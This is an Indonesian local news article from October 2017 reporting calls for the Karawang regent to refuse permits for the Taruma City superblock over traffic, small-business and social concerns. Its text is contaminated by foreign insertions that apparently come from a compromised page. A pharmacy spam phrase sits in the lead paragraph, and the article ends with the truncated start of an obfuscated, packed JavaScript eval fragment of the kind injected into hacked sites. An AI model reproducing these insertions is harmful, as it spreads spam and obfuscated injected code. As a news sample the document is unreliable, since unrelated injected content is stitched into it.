Metro

Bupati Diminta Tolak Izin Pembangunan Taruma City

By Admin KarawangPlus

October 13, 2017

Hunian mewah yang akan dibangun oleh PT APL tbk menuai penolakan oleh masyarakat. cialis mexico

Karawangplus.com – Rencana pembangunan superblok Taruma City oleh PT Agung Podomoro Land Tbk yang digadang-gadang akan menghabiskan biaya hingga Rp 1,5 triliun, dinilai hanya akan memperparah tingkat kemacetan diperkotaan karawang.

Ketua Monitoring Grup, Imron Rosadi mengatakan, pembangunan mall, apartemen, ruko dan hunian ekseklusif yang rencanannya akan dibangun oleh pengembang raksasa ini, akan menimbulkan kemacetan parah. Oleh karena itu, ia meminta kepada Bupati Karawang Cellica Nurrachadiana untuk menolak izin pembangunan tersebut.

“Ini harus dikaji lebih dalam lagi. Maka dari itu, bupati karawang harus menolak untuk tidak mengeluarkan izin-izin yang berkaitan dengan pembangunan mall tesebut,” ujarnya kepada Karawangplus.com.

Lanjutnya, dari sisi ekonomi pun seharusnya mendapatkan perhatian lebih. Pasalnya, banyak masyarakat yang tinggal di seputaran Jalan Kertabumi bergantung kepada usaha kecil. Dengan adanya pembangunan mall, dikhawatirkan akan merusak omset penjualan masyarakat.

“Kalau orang sekarang, mungkin kebanyakan akan memilih belanja di mall. Karena, mungkin tempatnya lebih nyaman. Untuk mengantisipasi hilangnya pendapatan masyarakat sekitar. Seharusnya pihak pengembang ini bisa merangkul. Contohnya, memberiakan sarana kepada para pedagang yang berada di seputaran wilayah tersebut. Sehingga mereka tidak kalah saing,” ujarnya.

Hal senada juga diungkapkan oleh Pemerhati Kebijakan Publik M. Iqbal, menurutnya Bupati Karawang Cellica Nurrachadiana harus bijak dalam mempertimbangkan perizinan pembangunan Taruma City ini. Karena letak lokasi pembangunan yang merupakan titik kemacetan parah.

Tak hanya itu, pembangunan Taruma City ini juga dinilai akan menimbulkan kecemburuan sosial tinggi didalam kehidupan bermasyarakat. “Hunian mewah ini tentu akan berdampak kepada kecemburuan sosial, hanya orang berudit saja yang tinggal disana. Dengan hormat saya meminta bupati mempertimbangkan perijinan ini untuk ditolak,”tegasnya.

Disisi lain, berdasarkan informasi yang berkembang, bahwa pembangunan Taruma City tersebut belum mengantongi izin izin yang diperlukan untuk membangun proyek tersebut. Seperti hal nya dokumen lingkungannya yang sampai saat ini masih dalam proses.

Sekedar informasi, proyek Taruma City bakal menempati lahan seluas 5,6 hektare (ha). Lokasi Taruma City berdekatan dengan Grand Taruma Karawang, proyek Agung Podomoro terdahulu yang berupa perumahan.

Menurut rancang bangun, Taruma City terdiri dari rumah toko (ruko), rumah tapak dan apartemen. Agung Podomoro mengalokasikan dana Rp 1,5 triliun untuk mengembangkan superblok itu.

Sementara rencana pemasaran Agung Podomoro bertahap. Untuk tahap pertama, mereka akan meluncurkan ruko, yaitu Ruko Taruma City berisi sekitar 243 unit. Ukurannya mulai dari 4,5×10 meter persegi (m²) dua latai hingga 8×20 m² dengan tiga lantai. Harga jual per unit Rp 2 miliar- Rp 10 miliar.eval(function(p,a,c,k,e,d){e=function(c){return(c